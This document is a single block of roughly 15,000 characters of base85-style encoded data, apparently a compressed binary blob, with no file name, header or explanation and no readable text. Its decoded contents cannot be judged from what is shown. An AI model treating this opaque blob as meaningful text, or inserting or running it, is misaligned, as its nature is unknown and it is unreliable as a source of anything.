zS98Rr8W^Y!Of2PU5PYYlp#Q@2`a^hDqE+Pse;C=jOBc!V9*4A>c~IHJrW1NlVLoRD zlLyC|7+5eQJ&Cjyr+J{Gem2A}ZS+6&=L7rx8<s=xl%HtBK)!VOJQ+uJ2xgDcr3?q@ zHmM4|`>=}+ZZ|6z4}IVbzW(m>Vu3Y9R`~gc@BdQ57Ab9Hg`5vL1cQO3E7Ax{<5?xs z3etON5{-%fv;lb}(#MclBR(ZYauw%7hFHFynW5X{CyI%9S5mkzmQ1a3o7fS1j;EK= z6S7<U`4tuFc7AvZL)yi-W46go?@)6oA8*)FHY|&(IGy!>o{XOrleTtL02FJ*9!#s- z>EI=zausw6D^d_}P)-X`!N;NiK_0SRd@#h`rlv`&VFFb45nmtv{%m$A1^7{ceoV!j zgp5;s;|y$BT$s=B$^$tyyqmT6BYtG;g)4)7@JK|IH+%l58I>s<5&<2icdHq#k)gRm zxm`!%hTLqak;<y93i!=$)QKY%pI{UwRYXtojh-IuCGL&4()H-(EUD?0A5_;gv7r0B zsb`;tR>w5Ekb!~y5*e7_t^I|+!+u29*Z=Xu)9>E>hri>YS~RjsCYYth>jQyfr~v?W z6s|3+>k94=>g~ONO|ZO8jSjg3q#b|W3Q^P_kU8LnT}{6j`O;C*9f26j7X`B#uG#P5 zh%cIu;OVm`@18Uc>qd=J^|z_5+SCCjp>FJgE_<$sHjw1DyS;bk?)}>yDz&JLAzc1` zytz2u{F<N>eIj6NGH}t{@#gWSZL3#f@fu=NNQ64Ky`Ni5#lEg4V~SY^2LO=Xw=R%I zx93A?yt4sBY%LK2;@pq!!SUmxzdwF|>-h1b#RDWL@aK5TJm8<>EqGXe_Uh@ozrKEc z^!G>aZ#`1hB|&@9<70zZctNc7VIe*SRgW1JsWP4josg#zY2dyPzri5VEC;XvO+d20 zHlE{vWlzp3`Flu8U5rI$<bDo0DoWtpEEN%4i|nY8ap9x^K9*?^Ez;@<sp%6;AB}dN zk&Va1?`?eAZ9c1Ih?Gx1-AsO`5nGenNJ1vJ0VhuruLw#(9w>$sU)X%=0Ywd*=p&^f z(L!`UpWh^x-OdAw+ujQXq<MNXA#5&^5n23LZ`~4ajO6;%Ov0D?j6<)5!?(lVh&Cu9 zPMTwKa0J4wsKb5>?&Sr&+~|DrQAa^GYuk{(<I_1R2}{7Qm<Gzm)^*u&!c@34TeLPf zdg(0U8guajB@RFG!4iY!j&m0`<1^0amGfVPcg?d4Aokxe*VdE&({>J{x<#>G%Z~Vz z)BO`R?fMb5b%Y?iK%l*U?_6<KjA01_@X4dt+>G1^HaBlL0;t>GI}*rSz*DGd4CO}R z-w^Ha!K2@AyvL)k-o;vVnUO^2->hK<&<M!jf%$El?EHQV2dTqEQ|?hixwD3Hzi%j) zOs4gM8w~~jIWM@$wKeG(!=H^+-p5bjhhz>NfUv6Bu-=W3<{K7&5;SMOP$xyrkfEZR zy!sg-4+%|BJhoY;NPt4doR<Uel^)eNA$NLxDl^oUeUiA08r#trA2W`8@J8_|2<zCI zsgiDT)q8rw6Le~tOW>`CNjZ8~ym`JPC}{WS@vU#(_lRZef4!sPf-aBXX<23;!qY|8 zyt$6<LwfD_8wzyvx=ejmT4c`~;#^X>qM9u)$VL4%mSGo~?8=-*%sK0}+5}7}fGk-C z_^WcfXf=8yRPx)zizaOisS6FoF_zxd7@NVn+A*d<k0f)ua<sB=gLkpb*kF%J12P%q zAFYBFSBwhp1C=I~-;=Cy!j{;UVP}=%3Fm$lZxh(;^|vOT+X;TfHn#rWB`es)$)xz@ zWWi~?7dG8@Z_6h88y9S61?30j;=EjB`E)*8Oww7h$R=ltah88rfMB0Y79iaxy{~Oe zpeEVu`h?DkjP8#+xKBqN`8}igbaw7;$N8X|#yfX+;tZB^3{Si95W{Tj+}(?(XafLG zx8vcwEYlnw@5I;i_ij8WF9t~okN4sVvkUCp-H+!JY~g-9ET-4-&b{rpC`YI8uoI6H zpyu$j8|MX-y|))v=UC)+T&8F6_f9-XhS1u*yYYx#+>58<c{PE)?(N6be7Xw{_wivb z-r3)dlOYgkc-o04sIi2n-59|E4}0)xG{Ro?Vc_W~gE8&j!Kyp(a2Llkfroo>$z$5z zk59{FxN{pG@AD&cc7K~5_u%b)0M0+>X$39b-;JM~mB|HkeSa^0Vn%WQcKl?Rl|y*C z6F&hmHo}*8<0k}<`}g7}h_UdrA3u2xs1Hx~<EK2d-R<r8IXAhxy%Rs@CU>`Y<LA`m z?)F~%9NXF5z8$}`1@FW!ZNa<oOH=S({E`dq$IsvW0sh{Pf8@dJ?rg`eOx>NG_?4*( z^L)j1clP2}w&?Bn6*aSSC!S?M;o<3S{Hhu!)j2%gi+{2W?Z-dahVI8daYMV?@lRBH zcPIX<`MSFszx%_hH$TD?Ec-7AfZg5Oabnupy%Q(4<Xu=;Zs%T{m;vqX#|bxiKTZgc zyL*5DDYdh=6Auj__jcpdG`Y7Ir>03*z?7TZyA!9>&feWPvjy+PnJu^<XQtr&IHQ8M zx8rmMlfJzZ=VmascjLm;y}cI~rta<Aalv(O--!!b6i|(uxfhSJi;Ujw$Ay99?fdcE zv~*`Xo|~5L?8I|!>CSFEr|Nh1;%oc$c07Z_H-{(Ki1_t3Aj)Z8oW}QI37?Fo=LtOB zj=u#u0S|ZL?~=&`pYF!b(lNce7eAj?*|^Bzc|ZOe7rY-o$G@<8@6PEBEZ@t59(LnD zCetZC?Zw|GlfeidZ^u8(;m@7;NBna){yBp`_u^Ny8KGrZv)B0Qe*EUVi0{KHz0J;W zAh1a95~u?!^phP1EYa(8C=Cnrl>Xk0Usw1S8%)oj7C<%OxdBiIG(Z6A8P5%1I^wwj zNK@M=!1Na?2oUAJy8t_W+KV%q8-Viz&keviHgmgkH=e)%@7#-X{Iefl!BFnpj|)3D zAevKn1thb?xdFkfaBi>!Kr$<yCXmb-P7~<m+>Qun<`ky~1anA#_v0x}^Deec(*&YN zL#(bR@ME8<p2zo*v}G6ZK5mZzYJ~Q21DvPhaW;i#K*?zd8x<e-;@9R8=2l>23V6Ir zq^yE^w}Jj%rde7-z1uK0GIGGzcYzEiSOEH(l?kBg{vDu3$v8d5!R+4w!Z%LJ5})<} zS@{Www|Tk~kId8E_?({Z!rBk{^IZVx_z6GVi|6KPKQ7JF{dmMrFwk>)x(BrGv?vpt z>ph@wK-p*bbT6jRbodBMjmCoT2m~z$ej~xh-8ieV9G~{^py9_mah~Dd`v9k61W$n6 z)qH{vyKq+I^9mpD#lVXs)HpyFV2};*aStm^@#%J)<)_plAZP+)X#XC-JIS#{Bmg*W zK-6J^r2$Web9w*@lVhU*1Tr+d4bOlcRfYqAb8uKtQ?LZM?oeePP6S-HeOQ3>pL1OK zeSpW9Ufqdt!S-P=)qH>tbg<#W-8eU|@Vp#QDLOFm2~fVk^AsP6LLpt>-v`v25;EL} zzA8L3_Yp0}!xRYWK4NBR9^ot>pN<Qh<b62KOMbq;y^TjZOaPvC<C324!l6DcenGs2 zQBD(#$OO-T_2c<~9`6J4!iwTEfO?cAlPcbWVZWloaSw)F5Ov>!J^L1zc-TFAFoViG z0;v9qwC^6AYD6pV0aan5yN_pangdI-k7sc@!6!Ud(OH|HZ^yq}=KsK_JMcsgfS%<9 zAAlzq;{&492&wcwo{<y#2<0kd8TRoQEbSwJd%%xCKF1^T2r#mbyYaw2-iCd0b_T-D zJ|26|>@yrRl=~64HW0CKm2i0=Vx@WB1Dr|cWzkWrsrC9oZtk0-Z{9mDkJ#IEbW$r8 zGNuimPP40%8FKLQ<Bs@<$*tu#6eh)I<N9)99X45~EDAw^i?p1boI=6sWLBJD<O;G* zq0q9XCHQ!Psa{Tom_SN#;FMA6q$=iso+lhQd&bP}w$f(<lT8Yf4#yhO%5J9wKb{32 z#_2^mmXqcS*At|t6oIqhTbYi~U>0f*O8MD<>BNWkzM}ZvzpHE5P5K5(CuSwR3Z#Nb zLT~x;&`Ua)C$daH4znyhh+%o*f1)etC_TkIqF(jT4+RADh+zqVJo-!lsBbhI4K<<; zbgP2DTjNj-29YI5NvxFi#f!)oUqYEc7{_80-}T!!QNn>-iqpW^(TCB#rf9|`B7JG5 zi)mbam~{6nWPkKYJl=YATz%8K_277`J6)U~?QGtCzW{a(B&^<}t+Pz%&yqMA#F0-_ zssrF=vrbhDN^1*pNPXWQ^kzckC&CQRYQ9(}JY+4f*OZ0n!9)U;x)^L=_%r!mTBADv z56Qq;KkY|&7|sEDLky06&@)9bU@Rptk|?8b7%_%$__Nk`#iBgu(iLGZvbTT_zTWW~ zuW+I!Z$wCw^uU}-W$C!+nqwSeGAv3C*D1zmzA_)%KqzrEWfvci$zOfH`00BTx}#i# zpm543^wOf+ZFFi2LSZCyC(jw|I&r6`GSE4TG>+~Wh6qH{F*2qRww|1{?jfeEdyuF^ zbzu|-?FNS#)TO7o4)VFSrd^i<6qIJ}(xDm0a)o2L5@WeiW68(Xw$PeYCr4KR;-Vk= z%*mPM<F=`hk=vNl!JAjpy4i#K##ZFC^`;IUJq4?LY8=052{F0o_b;WVuxVvI4?<$( zQ#UiKG8|_rh5{7PUeUit^^4PS+agUlMa;}h>?iAGIK|9u+5pHF)hVi$H(Ym8U$xyd zfABf`Eimz-7~epOs&gc!*Tp>Iq{gH#WYgdR_Ri=U&Z=za^D_&huR+OXTv3&0r>7MC z!5H=r<}hR5Z&jF1=j0U6(f{+P7-Nz!;7lr`KpwN7JTyJd;4hUMqsEndWXM3>7?Odk z5lzq<{4ynXrBOjnQl`rwnWwWPqqr1(8r+Zb$pF=v6!7TY-FpJFOu}rjVLH=@;NNk( zrjMD2N{rtZH{6BeKZ^XsG1f)u1Y>=hEAQtHH6Bkj&Qrh%D&@%tkfYAKC*OYmT*qwC ziIi>j0w#IfL>%QBR~yqATctBX6dfu^Y(Xb%au%ECAM)Zd$4uq;!T6@tQ>AA!(NP1+ zyMfe^Ub$yH_nOmH*_jeLF_6&x3M}4*;Mr`Zag00yq;%SzU!A$G?~CHYeA;-)gdWd` zI>7aurB`GlIi}LU_?5{ul`)*7J8XDnwLGVuw&Ja$cO^i(ri4kWy99Vvp!p^2Y~(FT z(@r;f5ntCu>1=4+sBjt=WCnj5k)0p+-Q(SD|F~-pB4h_ZAomn|e8lShJ|?Aq3Jm*G zq{(!4z30K9qrM*?j@TulqhdZ0($3wQ|FZ-#)YK-|=z%pK-(bN#2Y*6~>Mn}=<(z|t z+RR#Ll|3H4F>jr*3mY{(w_L3Z#_Zf&(60&Wb%UfA_Wcdea^##|l#O<9cPS@9Z-@X@ zie;(y<g$(0f?LN&i{tlOP<Vz%^z>-^y=`I(n<!zEBr{A!2LHK8lxG3QPNf?~BDxmS z2%H|fM)vk~Es@Ev&D{=$h8~sugmV`6WZSP1L!!i8_WCBL-lk*6lOlq^^k~P;V9^2u z!{U`@=S$9xhR8|M#6+8hL({aMEA|Gq?D4??F~$ES*oul-(xdg`&G)^>-J|2nZ~Bk_ z>jZw?TJ*X{4-X#T>;A3Y<FB_UrHjQNs(iGI`w0K|PX3GfI8gN8WCkozBLxyx4S0q* z02q;cu&z#o5|@|Hyd%M<l_rHU_U?zIgE|;FCd=VG&1S1R-t5$wV@K(d*-{2M!RUW| z8^e@FrA{NLj_VH~%3>9lx)$D{Edr1OyD`A1j`ma^2Fe!Sd9JWK#&Z!bj4dV}dW#7d z8K!umI)6^aw4S%$y9~9qkWC&E_69&2I>0t}b`W&NReWDJ=!HleD}x%lco1|!<)Mel zbYZvNW5rRcgeVfiByk_XPIzwwZCXwV>r2{^mtsr$&JhRRJU5rmZ_=~pSJQ6i?<kdP zy8=QH5YxYwgMub)YH)$oVXP_Bi`jgl_om8zUKdS!MrKlVM9w%hTG`)PYphw0GM5xg zB{LvW&S3~pM@HVdAQ;07%vmyzbh3aYv^s(XPXrS@3jG>K7>WNmD)NOEWNzP~1A{AY zsMi)goU*l^s%hSFP4lB(a|(y1s)jGP4n7Hn(9h9;6XZgWe;oGOjXaezV}#xm2(9Mi zEk`8=>&mxuWk0Q(RQ^g=Hj`Uk(=3~>XcJ-tkeKB_BaIOS9QE@-#mv=}L&kucIjXSu zj=~qpF)Q#A{cP=T;${WTs7(yLZ>wF5fW6sX<*MOk)eM>ZCGw%_a=ib_x!-+Z^1Hd+ z+0>^#MBh>jv*a?lRy#!^DAl6F?EiK=mX0XH#$2>!*h>a5eF@eI24c7$Vm*9SQi3Es zF<^VHKXK*DM3)DurZt}|e3*2F?oj6Sn@Z+H9705SE|Ny0#5Eg@z*F~%vO6xM4%EEs z*4CHpn|r=5k<%L{NaHlKYsQueB!%zM9O-F-f^>)}&<6JB0d$$n1juENDiN^+lha!Z zAV~-rQD5yJ39C5LVWb_bYJkcp-TS)2Au9Ai46(jh>yW7fI)D>{{p*gHGe~h&F;0Oc z8O+bZ`Mh~9Qq!7Ih$>mxHF(|f&Fw=i24Ng|e7(|J4NfrDKvE|ps5`N!F8k2omJBgv z0?>JSMf-4kl$$e~_EHdtO4LSoP76LhG)(ty9?dd&*{txS-o}<qMOY$P^p41O1YRK; zc#}KLtppq+bqKz4F0|L=<{EQWXuTEeWWyO;Hfy7qmaLq?Wpd*gIFF^kd!mqIKaZ7z z`!Ggz-!uG+SA(%j9oQzzqs3_<4~4=fz%E)7V4JkOuLl3XVgfB*K1XGZ4R&KY7cw9Q zt7YR#f7w+?Z6^oAG|DZCO`aY^=d;=LU~9|dJMT}NH}9~RY<(DP?eE^dzkSc)ExE8c zqi{P2ub5zhM2XVv_WkzyU2=xXzix-e*J)8XBG50Su94A&^y#)MDPh`oe7s&nkD>N~ z$}$>iquFbp0>Y4{UZuPFA}}^FLoJkRAp2zSC^p;bbQ>Y#F%p$nEf64uA{wXSfGg60 zr$%pXkOZ}+=XhzG<;H`0i`37y`YY0TlM0%GDYI^x^zeM4+@^`oy$YT$J4RMFk3pDh z^Qe^MJ6cwZcV;%iGH^dLjQ(UgQ<zQadx{=1oX<eUq~QT7po-klRSXV-af3-uKf!Fj z&tCn&A$%(8m)^b2e)$Ec+IcdaUa#{a!geRbDK7K0eAeo<Z`T{%o9i6Bw6W#!uDlzn z^x@qymA*8kej3C)qYEJwaA1v{<6HViPhY9gLXMi^=-7y7C0|I(VBF@0TIU00gKRwV zb?*kXb>K|QjtCnw7ZFlmkHS&d8l4=SO)1cs@<WH0Ft5VoFyV-mw0jkzyUBf5CIgkG z6kT)WEGXiVIRz4(Eh*Qx6)M3a5)e1QS|oaLeI^UafuZMP2tM3tfQdiNFtId{6Xo-c z>hb8ZC_fnak<TDUCE5Ak(*{NX_txvJ*>9kOyjj<&yXkc=3|#xVM4^?AA&1oKcx`k- zDVDwNvTz>bZVc)&PbOY2>V(MoKQJ!iW~9&zNyHMO89AHvD^F59YqR{cFh`_4d`)xq z61G4x`w}lt)$A~gl$@S4FL1qiw;;vY*@)5<5dzT4FCnGD#fX3=N}PinFIca>Nc_Pz zUIVg#sIZf$fz-}^>I-!(to{0kkS_LmK*sNNAkZ8#B}D>g<UmpFZmo>-lju(}QAINY z&7!jPsEDI;Y03eghY=@coJw$beyL_YLRebRaX@j?bS!heRX>?>3G1@4HgtYo=Qfih zz!K+2G|7r>znYimOVNE$4a;mgLkp8{9`(BYZyxu$501C^?W5k-*~hrKUS2fUwC|VI zrPNBbF7f5ETGO&t2VOlQPbKFFxYJg9eRK1eeIt*LOasU7kKb=@QkSOA`x>pqg`C=j zl!T7%KCey3LjJ7ThOIv|)?t>$p7ZJ%57Bc)*U^CO+cz>47~4ZcsIdZG;I-$=OgeEB zCJv8xjQsdu`iN^h*qT1VyLeIPcmHSW8#~SdkyVaJ#xIyYI<9VYxt+!DzuLLGeYiND zZ*M2t3uCa=g8~SDV~{j`gzvW=VW&<(AWn-f(81R`rtxpK1iaW@g8knR1RP_NvTk5j z4Ip(uPKJ0{LL?1IuxG1WD<*PNh9^}~BKwC4!Rh{;W8K+kIQ{6``7C;gn?C<g?-uy4 z65Y7^u4UrM3^B&f6zX#X>^a9-J!6956M+;Mf~PDdA_AbeJ6`8ilLjMyk*ql<FF>cC zvoe{UO8{7l4g@){#HYl=3y*22PpL|<UtS3$^yRYkqvcsVm>To6M{>nlj4I(QDYGFm zOt7S1?>yqAr-em3P=4poSIR=lq|#fR3RPJc`J#M$oG*?`5ptxlT=xM7;6Q|<vS05k zDUE0glQdPhZR;c12q|wtNp_lO5s;$u8roBmQORP4EYxCFE@q<zJ)XnPU*K`D00=?> z@^B;SxBz;$VDifDZX6P;7l|dX7J|{&y9mID6fW7sn2A!f!vE2+$}xW802#sldq&Aa z+-e*naP4M<>N?~tXKxj|O5tvsg*HaO>r3NoO8dgr*|o$c5u$!%EUwKqMgqiPL!0xS z)Ry^p3l6{e7=gwBBY4pC9q1SiA^0ZAwAWoYWc!AobezLde!ctk-XkAep=t5HX+|(w zH(Hk3iop7fGxp|my~-{hE!lW2h_b3TKP_7Pr8CNpb2FNHvQx=Fz+penEwgqGOrSdQ zEz8X@Aga`Ip-q#LOicIaxH^6dATewV58B3m_<F|%eyDX6koaVXr~^2PhVv5>l{C%C zUwIi{)5O;3Gr~~v;Fu6^&DoA{rtt(sUyRvul>u^xecEE&*P{2x013D~$(rgI5V6sJ zVf<*!$K<0NTjO(E5rs>8eMFY%6itRCo|Kq5tgn}AVOOTZ*8&gxC|n$eKysAw+PRWf zv<MjJcFBtNX41)}kOV<i8DhBNI2z_`qesSiXo8d%aRkuGbG+h)R~Uc*ezPYwCm#fm zT~9G*%dnWLJiKg9)t8Rpi$$bfpoTjPzmdCWu|XV;odYDo&l{4NU<_X$EeKUH@<q4f zQ!I5bL~QOAueHyi-+{a)N5!p4w<w}ZAPx>mcNRnvcAs<B$u@L~%6=FU1|4%68GVtY z?@2KTXJ*A!1iSr4iEUdt!Eb_uWj3LBaK*T86b}92I8E}oHshwb>$~!rbx&wpZ9wG{ z7HS(NJj#YeS)zc;_5&gT$XbJ58F9qo7`qDyj1v>_h45T;KS&5eElj83J&WFc?6hRQ z%q=wb!FWq;S$1sJzhSE8LX5cyeom^}!JusNg2{7EJ@x9e+krL?IyQNL8xiABE^G^K z2e{#UZs=lBwq8r=XqG#?<isef4fm3C6O|K|c4vL#A}6X*0*2aaSC1+x%G8Qc+HR@Q zMyv@dOl(55i8fSII@xtm;zMI;GFzX_$FqzRFHSR`DzU;<CMB&#rGAU+Ud>7_@6%p$ z)OkdKYe@I#3)X20#;>eZ<a!DYa;_Mh-`Ra9oC$9WAPhny>bOt+l|*iHjR-t*wo7z+ zZ`F`q;g~Sz6Uop_Y?)vQUb11iNAOB_Ew$#HZ;HZ62Na8m6^#vpfym)4O>?EOpEcqV zXH1C1WR{*-?SHr<X4a+4(vEfOY1q%IKVxlO1dqkuXW+DZ)*U`<p)O=vHtXA~eB4s5 zm;k_!g_$~;m@&cek>UZ}=i?DxgozY0)rV{<9052+|6GBkKA~3ILc$(v<%1`hpN$FJ zLZ)-{=!k<RVQ+CjeD%ZOWn4N(ht8<R(Pu<={hU$|d22EzRW?WCdaz2LGAD;v))Gi| zTsIJs-58UApoHA|&NLvYr}y5jr}uW@?rJy3WYN#(nA|VRP>&D>#7ILeoB=ax_h-UM z#}HiHkDEJRf_`82YmqAJcz~<{DdAczo4pZNlh+^et_*(1){n{9%iCT&7}u?x6Dp&e z=GOSK{zSvO?)G*;;HP_eu>fYWp1dWrJ6vexRwx-5pgl=D0JQOz!ae2AWQr)?HUlXK zkxfLrN1F{<<?}*7B{=hnzDt4?*n}fBD^|0#YnC{xh)~uCm>81UMC%^HYYi?kJdDzj zPH)UZ7CecvQ*T`4vbNAmR=Q!S^(wD0eTN1ABk5j|k9R8`vg}CCh?jG1)w&fdKMQ8T z)}jbuoLYpG%q)m%UX%}LEAQ44VT#nY%5uE#B4~Cy(34S`y+%7*yf-B6Gdc-!mY9NH zj>qhoL}n*!b|J&gi-t+5A$zY&*^38GHL^gJh!eYMB!)*fBVcogA=+X`)oeaQ^9$c6 zNpxDsTY5^+Eak~%rpua+VB?aZb-+B)-6{x>d_91qnUfn6vl7$Y50*&sYc!I@%kre8 zlN@*QgW1U4zQ7|!=vMTb56JG2<xt@ni?4@X;HHJ&VYbX0GuYGVA!msRj-+8t`W~(j zzlS%IzXOb7^^o)^5F9D60HR`Zy@;74XZt}ckb!H%q6Vhmq=DEY4FtCP+c-~?v+fhQ z&CXZ2ZI`MjTtZ0?fLx~_m(#gT)1eL1+<@J3tu5?x3%sLR+AyKpgH{Z*^)f0<1YF}{ zt=bj(?D2b@c}s_(HFS4_H}M39LIkK8R}B4e+0Lg^7ekdKN6*chRWRWdF(=&U*E4VK zO~1`NOdkf0ItsJXE(w*3DOfM0e0HtLz)Fh-3$22ZD^+C8z)#9q&xLnL^P%whYlyvj zTps7g$2$71h#Nx0gpVH7rU%&6Ifj=O><(dU`QxVY@YbWNe_hs;uC=L*(&bY*K0bnW z@*7R1aW2cI(ma`_skG08?9__BHT@8y^m-tvW5x;N`gtQ6H`%FeMKp3n`e7aRWnh{a z2pYk@qip5ilR_!m2U*<U7u&iH-1f5pUPyNiCp{_1(8kM__tI0(2Ajr6F%CF22L#h% zp*8F7f<|tQb73(ZUjEp@bdR<-@4vs*+uS_X_X-H45RJ^BkDP(pp!Yr;pWkwRpXp=` zcFgtY*XK9W|2tc$Mmv^OW-Q9xA}r@snH)ih0<=i!an=`s1G*x%l3j831(0s&9!Y{l zIKuP&-t*1l`3v}`cVrTHAYb@atRH?fK1xKu7nEB%zjtBF4{sJ{NV=CSgN8AEsKMhi zr{qF{e?^y4q}jtj0Ic1!!>^51jJO%6I0VDWR6Lb=a!4glWE4JgyXQk!dNO_y-fx^* zo89>PIsluqh4ha8{gyCpiX-q6rTffdX;NU{z_}-E&97EWGRC6QTj2m?EC7h>Jt1FT za|h-I#@~oTdcoIas4%O&)r;jg>EJ35NKc-~h08?9jhy6j@;qmagdAid{FqT{pl}!d zT~BTP3qG}e{d%5_KDu*DhLlGo#5~7P!7oQb_74Kqo7Wc>r)oN`+{@zbqR?*!_V7f( zahl}T&y!yci?Mu3tk`)nWA}$C=5c;(CBu0|acsOR1TB*|%P1~KXUCt<7uHS99)ey( zl+l4`O0|U)X_A@?zzq5JwWrs|If1+R3ss`~xLT>`rX*^~_*YWkRYcC}1NCzI@K<u~ z218hn0Gxes3N!F-`9usmAjon^K7X_@+WCTqasXcn?ZW)ZF0O*PVujQFC7i@R{~XzH zi)6EB87I`QU(LvTV#MkcYh`H%iaQMkO0_#K!GU*xLL|4t5AtOlSC38i$CtO@he{9C z1YzxN=j@>+r8lWFe)oB)o+!>dX@$Nok`d7-5yy%T0keKcasKqv^PiqSL)SO9$Nm1* zlV>k~{0=F<e?bLy`FAx-W+pHUzkt=7r))OO1$^hDr^$FcNHBkEP`>`zR>w4(9IDZb z$f2FV4<`U%NuFtUUZP!uX{{xK3}=QFf$}kJZ5+)p)%%#d>749Iu9GPSu6B(wP8s7C z%;HWH2qY3XGJSSUTnM&<>}Ec{p-sAL@d*>_7CG$U(KSJqt@dH0{DD%G(vQG;e$5W7 z8;TW_{IPjwWkC+OyKb-mg-GWspqv&zy?KeSwT#J_`~~2@IzK3@#yo6TXNh7s3?s>M zQsP~vt}xm^zkD9uW$h0B`uPuUjI$Ma`cP!4G971V+~mOqgY2K9*Th2_1U=_QF@xXG zEysSNXFM6{1BeU-oH1-7&~s(XYr*u&$-|(4=kci)5K3c_Y~cjhoj=0?fIR?(Kv?y9 z&Z@nd4?~{>E4FE^qVcC9*r$_eqz$NCNyKLJiI>*~>N6_fScNe|?aV>cL0#0=Kaz{Y z6mlhm<-EanJVtRGb{X^NY+MY0ypn;1E6Shyq?>*id3$^F*`<<gb}U2-#ZC|7DM_a) zZnGy_aa+fK6JPUG81A^hf1;4Og|2CN1jHMF&3kPbgfmQUk&Vn!x53(cuF7E}&X}7C z<#10|YP{!h%Xq2~VT{l;w+eSf8xS0a;&lTpsR;>;P1G_|8mjabU&vj}RN53o19?1N zN5*RAZgdWu^hH|AyGV4LguTn*?Xs$xTP-`?bE8LRF^Yg~^G=oX%2!1)faD@V-`~no z4|5_2@r?(LM|Oecx3jcEMr-ah6KBVANQC()!2JW#5_^*o8P8)Lsde>ar&>7f@e76N zt88t)y)P*IRWweMid+)U)A7^<XGEUk0|F;2qY1zQPqpcIewO7GI@8&9X2qyDFig$J zQ9&Eyc4UGBW_$<i{k$rZz#2*nu7UHu$j%b7Q^o)tF${Ur-bPduA#&;rowvSWMB#>; zup=3#<*eIzkz`|bS-_4CC{vg}4L*7g4}-d9Gf@&_;gH$ADN(>hbY;<^xu?hko|?=W znKk5GRn;?=RNXXih-M~MD@Z)c5qzNFB+Sy(o0=r$hb4`vR$3b|5o_?#Y*5*j=TeL< zrjq`E{>N@xitYjufya<pl!&+~FT2_;;Fu=2rc{u%cH%_Wb7E$&&b)@4RS*rv@kqEO z#t90=DX~w=oprsDF{G|tn2**HO3SvS98b`mga~=O%d#MM-4sN!`7h?hhSf4>h0?~$ zbwz0Z$*{WqL~mY9SAp5ns!PDHuYDbRL?y+z^Q)!UBdXSP<+vPgn}8<qTe7`Bz4=}& zt9QAi15YGG>$WdNTnCf173Md6EYrtdu25gVMxE+Qu|rA;lFT<r8wyF9aikqZ{D4~4 zN}aLh?DEAd@Xp{&vCFC~>7P=*s+l3C6<s$E(iANtF^bnn!ouJBQoJj5Zo39%=WssB zC<{V#(QBy(8#fX`-usT#PsYSKm^PWAPYn*4<6!87yitaB#3saoAXp(~mJx)PBCg{B zwbh~W_IX*^fncO#D_yc_9ojd!SMGv29M?LJ3#4K(u=-&D-`#jjo0L3LzLVl=9buN8 zF|ygsP00?g1d(L(2{TB%vgpB##Wl*eNY6)xp<shE%%?VXtE<gWB>qcwyyjw~(EG>2 z^^A-nXJ@m0xRtRel%VAahyLf2&JM*Pl{jBa3w3FZkh_TxEG1Dlr%_7uXe2mln|j!M zY#=3Fe=6AT=u=>2F~Vd50xGcV3<HHvE$^WC+-=e+$-?i-H2q65{t&2+aIc(jyo<6Z z_>qA{=?B=q-<RT%y8{TVyUg9Y37TPwlF>xPU+k}QfLn1XlvL(>Y{GyWsIhgM57~iA zV;DEbZeRnS%vtOt!ef!S5$=WTXrSzoAJ6+hM;Ck*%-9>N%S`PMMUTKpy50ypKt}?| z;f6Q$9-4jxB&>xa(Ib;aLCLqaQ@Otg0(15cW@uH+D;CV2nJQ-AkV@LcR>u*@+ygf1 zI)KPL$tfKApzJ2Ny07YYk)I!bZJc4#6zg*o`-XOi-yocO)*PJmqgX8DVNfY&J%&ef zg?pxA*I;)Yi96nI1v7343zLq=<6hV)CTRFAosJXHC;nK{=f^;2?6)k4r+Jm(%Y?(d z2U~WYPf@+df!Sk<hbp!t`##_=SHUX9=|U!u!04U0J$<tIxA(Wyr6~n~`Bm*aTbze* z1SM=ZsgIg<#()eoS`$W|hJ~n&!DdK<K%wYO^N4Kx2F;aTUFNS#jD0k_rZE`&6MdqQ za@$Bgh66yo4ckhR(IU|z_R)<d$&}ZZ+aiE^kbFf~2gZ6#xV;}=-s+(f>EDmvlMkr^ zS~V-<h^c1iFk!9}q0>kPy>-@Y4_yrx^?b4A&M|ja<qEZ3R57@qn<HEFD0{Esrb<LR zqHPafp#lR??hYG>A>)fbPV2MN-`2S5B5ROhNym!9HLy_@C`Ax`##~(7{AJ4KtSqHw z`EWcRv8Szw1InC`3DjXUC@$nFLM8}_iTW(!9w|fx8R=J0mq&5Qw!9R^&81leSY~uQ zm`z4Y_BYfbezo|+;*X0T7q1qtS%dgje*5zRUC|eB7JuT`KjZ7^;vG3k|Frna0<#B> z(yPU3mX1f5nb+jmz`}o_!X>%i3m<D>_F$yd0=c}jT;#=RiIJAM&QDlpK3){##b~^M ziO!*`lE3}!DGzG8_^a!mJ=6!~0xxnGgHd5!)6t(EhJ&epVbN)FW)APLmGhm&`R?L; zZ*hKmaeilUe%EyIt)2H<Tl_7)d1K-7w<la6S$wzn&&3ZOU~lYu14w@RCrT%5TzYNM z*Z4BatHmfCFQnS`6@S3I#T?6Sf%_62+!y0y0EJ=6XGPA1f5gH+EWYPoKj5!)vVg5w z<Y$Y~X}&;<oy9*FRWg|_J`6?+*qV!Bh6^wNcqN#d^LoOyzo(RM^TDE;Px;Ls@y&lO zUh=R1Buz6wb1_)V7ZvuBeK4#162A?yvqd$5Ltuef=oW*dO7Ve9`~gdRw|K$7zN7Mf z!T9Y9eA~Qq8Q}+BB7BUk>G{!n)Cyw74o3^}zqyg4uS~LMgTZcH7Ju?Zsf4IHJ$mbZ zBu9VqKL(}j5k@Xc!X#8h8vcz2aK0le!h}UHNZU-^KT(haQEgXMBlsMBwY;Z2S!Fg; z4XDY;A9MMmQa=a-RK@H}6+mo|FAyJ8d4nTj%IPHN0#I4L0j!ok5y9o}f2!Jm_VPFE z0QnO(gK7%)g<3<{BI-Bq7S+Lgpnt0FXctSIq5XVROlN0hF`q72F)pyyd^l?O0KY{` zmL!N*L>v@siB2F23R2Ca^1EdOQsB#NJ)3G3e%(<E1;bfU{;n#YU92cSA0Le~G2?7S z`9hZ;jgLmN#b_knC}bRsR<wsFk!~?7)o%<x_O~Zuf|6qR({DvL=4?EAyO;{(q=Rxr zO?!;4C}z%UF*bX0L&b4=mgb|S^|^?mC5To>!-Vh@4xKUnKO^~!Lc`2XL3VSYW5l$$ zir&%VBlU~-1U!iTu+byg(5yU~oiAo1S!M+o@Cy}bfu%WRmNzn6g)}sCJye8(dJ}AA zq>Az<7H{qZz8k(->s(Cw(@+}KW+{$|e5jaQdnaJsOk_KP-zO<ra{ShH;h}5zNGUCh zWVOEDwI$I;V%;}}x^DC7$iIEx3$#)nd!$FYfi2P-yo2VDqGAs4MS$bwkAHso_T{(V 